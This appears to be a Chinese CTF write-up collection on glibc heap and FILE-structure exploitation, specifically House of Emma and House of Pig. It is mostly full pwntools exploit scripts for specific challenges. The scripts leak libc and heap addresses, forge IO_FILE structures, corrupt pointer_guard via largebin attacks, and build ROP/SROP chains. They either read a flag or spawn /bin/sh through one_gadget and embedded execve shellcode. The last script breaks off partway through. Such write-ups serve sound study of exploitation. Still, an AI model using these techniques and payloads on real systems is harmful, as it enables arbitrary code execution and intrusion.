r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
def add(size,con='a'):
sla("Your choice:",1)
sla("Size:",size)
p.sendafter("Content:",con)
def show(idx):
sla("Your choice:",3)
sla("Idx:",idx)
def dele(idx):
sla("Your choice:",2)
sla("Idx:",idx)
add(0x1000) # 0
add(0x1000) # 1
dele(0)
add(0x1500) # 0
add(0x500) # 2
show(2)
ru('Content:')
libc_base = uu64()-0x1ec261
lg("libc_base")
ret = libc_base + 0x0000000000025679
pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rax = libc_base + 0x000000000004a550
pop_rdx_r12 = libc_base + 0x000000000011c371
syscall_ret = libc_base + 0x0000000000066229
IO_helper = libc_base + 0x1ec8a0
sync = libc_base + 0x1ed500
dele(2)
dele(0)
add(0x1500)
add(0x500,'a'*0x10) # 2
show(2)
ru('a'*0x10)
heap_base = u64(p.recv(6).ljust(8,'x00')) - 0x290
lg("heap_base")
dele(2)
dele(0)
dele(1)
add(0x30000,p64(heap_base+0x10)) # 0
dele((-0x31000+0x10)/8)
add(0x300,'./flagx00'.ljust(0x60,'x00')+p64(ret)) # 0
payload = flat([
pop_rax,
2,
pop_rdi,
heap_base+0x290+0x10,
pop_rsi,
0,
syscall_ret,
pop_rdi,
3,
pop_rdx_r12,
0x100,
0,
pop_rsi,
heap_base+0x290+0x20,
libc_base+libc.sym['read'],
pop_rdi,
1,
libc_base+libc.sym['write']
])
add(0x300,payload) # 1 #0x120 #0x220 #0x230 #0x240
add(0x288,'x00'*0x20+'x01x00'*8*6+p64(0)*0x10+p64(heap_base+0x10)*0x10+p64(IO_helper+0xA0)+p64(sync)+p64(heap_base+0x8b0)) # 2
add(0x218,p64(heap_base+0x5a0+0x10)+p64(ret)) # 3
add(0x228,p64(libc_base+libc.sym['setcontext'] + 61)) # 4
add(0x238,p64(0x20)*2) # 5
try:
add(0x238) # 6
except:
print(p.recv())
p.interactive()
house of emma
利用链
__malloc_assert->__fxprintf->locked_vfxprintf->__vfprintf_interna->_IO_file_xsputn
利用链
exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_overflow(_IO_cookie_read)
适用情况
可以多次任意写一个可控地址(LargeBin Attack、Tcache Stashing Unlink Attack、Fastbin Reverse Into Tcache)
可以触发 IO 流(FSOP、House OF Kiwi)
技巧杂谈
往往用在可申请0x400往上的大堆
主要是控制是三个位置
stderr,pointer_guard,fake_IO
触发2种方案:
方案一:
错误流,__malloc_assert断言,当topchunksize不足以分配malloc所需大小时触发,触发stdderr的xsputn函数
方案二:
刷新流,显示exit
各种情况:
1、IO_stderr可以存在libc段上,也可存在bss段上,如果是后者我们就需要掌握更多的地址
2、如果stderr不可写,可以考虑劫持IO_list_all,触发FSOP。
关于触发的部分,如果要使用exit来触发 FSOP,会遇到在exit中也有调用指针保护的函数指针执行,但此时的异或内容被我们Largebinattack篡改,导致无法执行正确的函数地址。且此位置在 FSOP 之前。
要使用FSOP,就考虑构造两个chains连接的IO_FILE,一个IO用来修改key,后一个再用House of emma正常伪造来进行函数指针调用。
利用原理
我们可以通过修改vtable的偏移
来执行vtable种的任意函数
这里主要利用了_IO_cookie_jumps中的以下几个函数:
static ssize_t _IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
PTR_DEMANGLE (read_cb);//直接调用执行函数指针,并且函数指针来源于_IO_cookie_file 结构体
if (read_cb == NULL)
return -1;
return read_cb (cfile->__cookie, buf, size);
}
====================================================================================================
static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
PTR_DEMANGLE (write_cb);
if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}
ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;
return n;
}
====================================================================================================
static off64_t _IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
PTR_DEMANGLE (seek_cb);
return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}
====================================================================================================
static int _IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
PTR_DEMANGLE (close_cb);
if (close_cb == NULL)
return 0;
return close_cb (cfile->__cookie);
}
错误流触发__xsputn函数,加上0x40的偏移
就会去执行_IO_cookie_write这个函数
其中会调用PTR_DEMANGLE (write_cb)
我们只需要把这个指针改为我们需要的gadget即可
_IO_cookie_file这个结构体是 _IO_FILE_plus 的扩展,PTR_DEMANGLE (write_cb)执行的第一个参数(rdi)来源于这个结构。
// p/x *(struct _IO_cookie_file*)0x55969fcaf2a0
/* Special file type for fopencookie function. */
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};
typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read; /* Read bytes. */
cookie_write_function_t *write; /* Write bytes. */
cookie_seek_function_t *seek; /* Seek/tell file position. */
cookie_close_function_t *close; /* Close file. */
} cook
我们伪造好了的结构体如图
其__cookie字段即第一个参数
可以看到,这里write这个函数指针是有指针加密保护的,一个类异或加密,所以我们伪造也要加密一下,其值存在fs:[0x30]处
加密操作如下
将key ROR 移位 0x11 后再与指针进行异或
House OF Emma(libc段stderr/2.34uaf)
题目是 2021 湖湘杯的题
漏洞点主要在dele,存在UAF
利用思路就是利用largebinattack写stderr指针一个可控地址,接管IO结构体,再用同样的方法覆盖pointer_guard为一个已知的内容。去布置topchunk为极小值用于assert,布置IO结构体。
和houseofkiwi一样触发,执行跳板gadget,设置rdx为srop的地址,执行setcontext,从而执行rop
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
p = process('./pwn')
elf = ELF("./pwn")
libc = elf.libc
def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
all_payload = ""
def add(idx, size):
global all_payload
payload = p8(0x1)
payload += p8(idx)
payload += p16(size)
all_payload += payload
def show(idx):
global all_payload
payload = p8(0x3)
payload += p8(idx)
all_payload += payload
def delete(idx):
global all_payload
payload = p8(0x2)
payload += p8(idx)
all_payload += payload
def edit(idx, buf):
global all_payload
payload = p8(0x4)
payload += p8(idx)
payload += p16(len(buf))
payload += str(buf)
all_payload += payload
def run_opcode():
global all_payload
all_payload += p8(5)
p.sendafter("Pls input the opcode", all_payload)
all_payload = ""
add(0, 0x410)
add(1, 0x410)
add(2, 0x420)
add(3, 0x410)
delete(2)
add(4, 0x430)
show(2)
run_opcode()
libc_base = uu64()-0x2190b0 # main_arena + 1104
lg("libc_base")
guard = libc_base - 0x002890
lg("guard")
pop_rdi_addr = libc_base + 0x000000000002e6c5
pop_rsi_addr = libc_base + 0x000000000012a8e1
pop_rax_addr = libc_base + 0x0000000000049f10
syscall_addr = libc_base + 0x0000000000095196
gadget_addr = libc_base + 0x0000000000169e90
setcontext_addr = libc_base + libc.sym['setcontext']
IO_cookie_jumps = libc_base + 0x219ae0
lg("setcontext_addr")
edit(2, "a" * 0x10)
show(2)
run_opcode()
p.recvuntil("a" * 0x10)
heap_base = u64(p.recv(6).ljust(8, 'x00')) - 0x2ae0
lg("heap_base")
arena_large = libc_base + 0x2190b0
chunk0 = heap_base + 0x22a0
chunk2 = heap_base + 0x2ae0
delete(0)
edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(libc_base +libc.sym['stderr'] - 0x20))
add(5, 0x430)
edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)
edit(0, p64(arena_large) + p64(chunk2) * 3)
add(0, 0x410)
add(2, 0x420)
run_opcode()
dbg()
delete(2)
add(6, 0x430)
delete(0)
edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)
edit(0, p64(arena_large) + p64(chunk2) * 3)
add(0, 0x410)
add(2, 0x420)
delete(7)
add(8, 0x430)
edit(7, 'a' * 0x438 + p64(0x300))
run_opcode()
next_chain = 0
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, 'x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, 'x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, 'x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, 'x00')
fake_IO_FILE += p64(IO_cookie_jumps+0x40)
fake_IO_FILE += p64(chunk2 + 0x10)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (chunk0), 0x11))
fake_frame_addr = chunk2+0x10
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8# ./flag
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret
rop = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = p64(0) + p64(fake_frame_addr) + 'x00' * 0x10 + p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, 'x00')[0x28:] + 'flag'.ljust(0x10, 'x00') + flat(rop)
edit(0, fake_IO_FILE)
edit(2, payload)
add(8, 0x450) # House OF Kiwi
run_opcode()
p.interactive()
emma(bss段stderr/2.33uaf)
漏洞点在4个功能 idx都可以负数越界
以及一个UAF
# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
p = process('./emma')
elf = ELF("./emma")
libc = elf.libc
def dbg():
gdb.attach(p)
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
def add(idx,size,con='a'):
sla(">>",1)
sla("Index:",idx)
sla("Size:",size)
p.sendafter('Content',con)
def show(idx):
sla(">>",3)
sla("Index:",idx)
def edit(idx,con):
sla(">>",2)
sla("Index:",idx)
p.sendafter('Content',con)
def dele(idx):
sla(">>",4)
sla("Index:",idx)
#------------------------------leak-----------------------------
add(-4,0x418)
add(1,0x418)
add(2,0x420)
add(3,0x418)
dele(2)
add(4, 0x430)
show(2)
libc_base = uu64()-0x1e0ff0 # main_arena + 1104
lg("libc_base")
guard = libc_base-0x002890
lg("guard")
pop_rdi_addr = libc_base + 0x0000000000028a55
pop_rsi_addr = libc_base + 0x000000000002a4cf
pop_rax_addr = libc_base + 0x0000000000044c70
syscall_addr = libc_base + 0x000000000006105a
gadget_addr = libc_base + 0x000000000014a0a0
setcontext_addr = libc_base + libc.sym['setcontext']
IO_cookie_jumps = libc_base + 0x1e1a20
stderr = libc_base+libc.sym['stderr']
lg("setcontext_addr")
lg("stderr")
edit(2,"a"*0x10)
show(2)
p.recvuntil("a" * 0x10)
heap_base = u64(p.recv(6).ljust(8, 'x00'))-0xad0
lg("heap_base")
#-------------------------------pointer_guard attack-----------------
arena_large = libc_base + 0x1e0ff0
chunk0 = heap_base + 0x290
chunk2 = heap_base + 0xad0
dele(-4)
edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(guard - 0x20))
add(5,0x430)
edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)
edit(-4, p64(arena_large) + p64(chunk2) * 3)
add(-4,0x418)
add(2,0x420)
#---------------------------topchunk_size attack-----------------------
dele(5)
add(6, 0x420)
edit(5,'a'*0x428+p64(0x300))
#------------------------------fake IO---------------------------------
next_chain = 0
fake_IO_FILE = 4*p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x68, 'x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, 'x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, 'x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, 'x00')
fake_IO_FILE += p64(IO_cookie_jumps+0x40)
fake_IO_FILE += p64(chunk2+0x10)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (chunk0), 0x11))
fake_frame_addr = chunk2+0x10
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8# ./flag
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1
rop = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = p64(0) + p64(fake_frame_addr) + 'x00' * 0x10 + p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, 'x00')[0x28:] + 'flag'.ljust(0x10, 'x00') + flat(rop)
edit(-4, fake_IO_FILE)
edit(2, payload)
sla(">>",1)
sla("Index:",8)
sla("Size:",0x600)
# __malloc_assert
# _IO_cookie_write
p.interactive()
因为是题目未开沙盒,再给一个one_gadget的解法
# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
p = process('./emma')
elf = ELF("./emma")
libc = elf.libc
def dbg():
gdb.attach(p)
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
def add(idx,size,con='a'):
sla(">>",1)
sla("Index:",idx)
sla("Size:",size)
p.sendafter('Content',con)
def show(idx):
sla(">>",3)
sla("Index:",idx)
def edit(idx,con):
sla(">>",2)
sla("Index:",idx)
p.sendafter('Content',con)
def dele(idx):
sla(">>",4)
sla("Index:",idx)
#---------------------------------leak---------------------
add(-4,0x418)
add(1,0x418)
add(2,0x420)
add(3,0x418)
dele(2)
add(4, 0x430)
show(2)
libc_base = uu64()-0x1e0ff0 # main_arena + 1104
lg("libc_base")
guard = libc_base-0x002890
lg("guard")
pop_rdi_addr = libc_base + 0x0000000000028a55
pop_rsi_addr = libc_base + 0x000000000002a4cf
pop_rax_addr = libc_base + 0x0000000000044c70
syscall_addr = libc_base + 0x000000000006105a
gadget_addr = libc_base + 0x000000000014a0a0
setcontext_addr = libc_base + libc.sym['setcontext']
IO_cookie_jumps = libc_base + 0x1e1a20
stderr = libc_base+libc.sym['stderr']
one = libc_base+ 0xde78c
lg("setcontext_addr")
lg("stderr")
edit(2,"a"*0x10)
show(2)
p.recvuntil("a" * 0x10)
heap_base = u64(p.recv(6).ljust(8, 'x00'))-0xad0
lg("heap_base")
#--------------------------pointer_guard attack----------------------
arena_large = libc_base + 0x1e0ff0
chunk0 = heap_base + 0x290
chunk2 = heap_base + 0xad0
dele(-4)
edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(guard - 0x20))
add(5,0x430)
edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)
edit(-4, p64(arena_large) + p64(chunk2) * 3)
add(-4,0x418)
add(2,0x420)
#--------------------------topchunk_size attack----------------------
dele(5)
add(6, 0x420)
edit(5,'a'*0x428+p64(0x300))
#----------------------------fake IO---------------------------------
next_chain = 0
fake_IO_FILE = 4*p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x68, 'x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, 'x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, 'x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, 'x00')
fake_IO_FILE += p64(IO_cookie_jumps+0x40)
fake_IO_FILE += p64(chunk2+0x10)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(one ^ (chunk0), 0x11))
edit(-4, fake_IO_FILE)
sla(">>",1)
sla("Index:",8)
sla("Size:",0x600)
# __malloc_assert
# _IO_cookie_write
p.interactive()
'''
0xde78c execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xde78f execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xde792 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
参考文章:
https://blog.wjhwjhn.com/archives/751/
https://www.anquanke.com/post/id/216290#
house of pig
利用链
exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_str_overflow
->malloc->__memmove_avx_unaligned_erms(memcpy)->free
适用场景
通常用于有exit的情况,可以仅用一次largebinattack实现攻击
利用杂谈
这才是最叼的IO利用方法555,有好几种利用分支,主要是利用_IO_str_overflow,在布置好IO结构体的情况下,可以连续调用malloc,memcpy和free,劫持IO_list_all以开始IO结构体的伪造
//核心利用部分
//old_blen <=> ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
char *old_buf = fp->_IO_buf_base;
...
new_buf = malloc (new_size);
memcpy (new_buf, old_buf, old_blen);
free (old_buf)
方案一:
重点在执行free,劫持IO_list_all,如果是fastbin reverse就劫持IO_list_all+0x70(stderr的chain字段)
1.在堆块上放好payload
2.bin里放置或者伪造好free_hook-0x10
3.伪造IO结构体,准备拷贝payload
触发刷新流
方案二:
重点在执行memcpy,构造堆复用,实现largebinattack->劫持IO_list_all
1.在堆块里放置好payload
2.修改的tcache_struct的值
3.以及构造fake IO链(0x410->0x290->0x128->0x108)劫持tcache结构体,实现申请libc.memcpy.got,修改为system。
4.dele一个0x410的堆
正常返回或者exit触发
方案二的延伸可以实现不用在bin里伪造目标地址,直接劫持tcache结构体实现任意地址申请,且整个方案只需要进行一次largebinattack即可,适用于可以触发刷新流的任何情况
利用原理
还是同样的一段
int _IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);//利用点
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, ' ', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
//核心利用部分
//old_blen <=> ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
char *old_buf = fp->_IO_buf_base;
...
new_buf = malloc (new_size);
...
memcpy (new_buf, old_buf, old_blen);
free (old_buf)
在这部分,连续调用了malloc,memcpy,free函数,并且其中memcpy的数据来自fp指针指向的_IO_buf_base。
只要能够控制_IO_buf_end、_IO_buf_base
我们就可以控制malloc的size以及写入的数据。
Tinynote
(fastbin reverse into tcache/sandbox/2.33uaf)
2021年西湖论剑线上赛wjh师傅出的题
house of pig 沙盒绕过利用
add有限制,只能申请三个idx堆,malloc有检测,只能申请第一页堆地址里的位置
漏洞点在,UAF
利用思路fastbin reverse into tcache任意地写,在stderr_chain字段写入heap_base+0x10
劫持IO结构体(这种方式高版本只能用来劫持chain字段),然后伪造能能触发ORW的IO
利用house of pig malloc到free_hook处
(题目本身也是申请不到此处的),mempy覆盖free为magic_gadget,+8为给rdx赋的地址(相当于设置payload基址了)。
然后会call到rdx+0x20处即setcontext+61
设置rdx+0xa0和+0xa8为orw地址(rsp)和pop rdi(rcx),这样poprdi就会把orw地址处第一个地址给rdi,然后从第二个地址开始执行(小技巧吧,ret的优化)
from pwn import *
context.arch = "amd64"
p = process('./TinyNote')
elf = ELF("./TinyNote")
libc = elf.libc
def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
def add(idx):
sla("Choice:",1)
sla("Index:",idx)
def edit(idx,con):
sla("Choice:",2)
sla("Index:",idx)
p.sendafter("Content:",con)
def show(idx):
sla("Choice:",3)
sla("Index:",idx)
def dele(idx):
sla("Choice:",4)
sla("Index:",idx)
#---------------------------------------------------leak
add(0)
add(1)
dele(0)
show(0)
p.recvuntil("Content:")
key = u64(p.recv(6).ljust(8,'x00'))
lg("key")
heap_base = key<<12
lg("heap_base")
#利用UAF任意堆地址写改size合并
dele(1)
edit(1,p64((heap_base+0x2b0)^key))
add(1)
add(0)
edit(0,p64(0)+p64(0x421))
for i in range(33):
add(0)
dele(1)
show(1)
libc_base = uu64()-0x1e0c00
lg('libc_base')
#--------------------------------------------------
IO_list_all= libc_base+0x1e15c0
IO_str_jumps=libc_base+0x1e2560
free_hook = libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']
magic=libc_base+0x14a0a0
lg("magic")
pop_rdi=libc_base+0x0000000000028a55
pop_rsi=libc_base+0x000000000002a4cf
pop_rdx=libc_base+0x00000000000c7f32
Open=libc_base+libc.sym['open']
Read=libc_base+libc.sym['read']
Write=libc_base+libc.sym['write']
#--------------------------------------------------fastbin reverse into tcache
# 利用UAF控制了tcache_struct
# 这里无法直接填满fastbin的原因是,有idx限制,如果改count为7直接来填充fastbin需要能申请很多个不同的chunk
# 用tcache就可以依赖tcache_struct达到绕过申请bin里chunk的目的,实现free_chunk的保留
add(0)
add(1)
dele(0)
dele(1)
edit(1,p64((heap_base+0x10)^key))
add(0)
add(0)
add(1)
dele(1)
edit(0,p64(2))
edit(1,p64((heap_base+0x90)^key))
add(1)
add(1)
for i in range(8):
edit(0,p64(0))
add(2)
edit(0,p64(i))
dele(2)
edit(2,p64((IO_list_all+0x70)^key))
for i in range(6):
add(2)
edit(0,p64(7))
dele(2)
edit(0,p64(6-i))
edit(0,p64(0))
add(2)
#---------------------------------------------------house of pig
def change(addr,context):
edit(0,p64(1))
edit(1,p64(addr))
add(2)
edit(2,context)
length=0x230
start = heap_base + 0x600
end = start + ((length) - 100)//2
# 布置IO
change(heap_base+0x30,p64(1)+p64(0xffffffffffff))
change(heap_base+0x40,p64(0)+p64(start))
change(heap_base+0x50,p64(end))
change(heap_base+0xd0,p64(0))
change(heap_base+0xe0,p64(0)+p64(IO_str_jumps))
# 设置跳转
change(heap_base+0x1a0,p64(free_hook))# 用于malloc
change(heap_base+0x600,p64(magic)+p64(heap_base+0x700))# 用于mempy
change(heap_base+0x720,p64(setcontext+61))# 用于magic跳转
change(heap_base+0x7a0,p64(heap_base+0x800)+p64(pop_rdi))# 用于setcontext
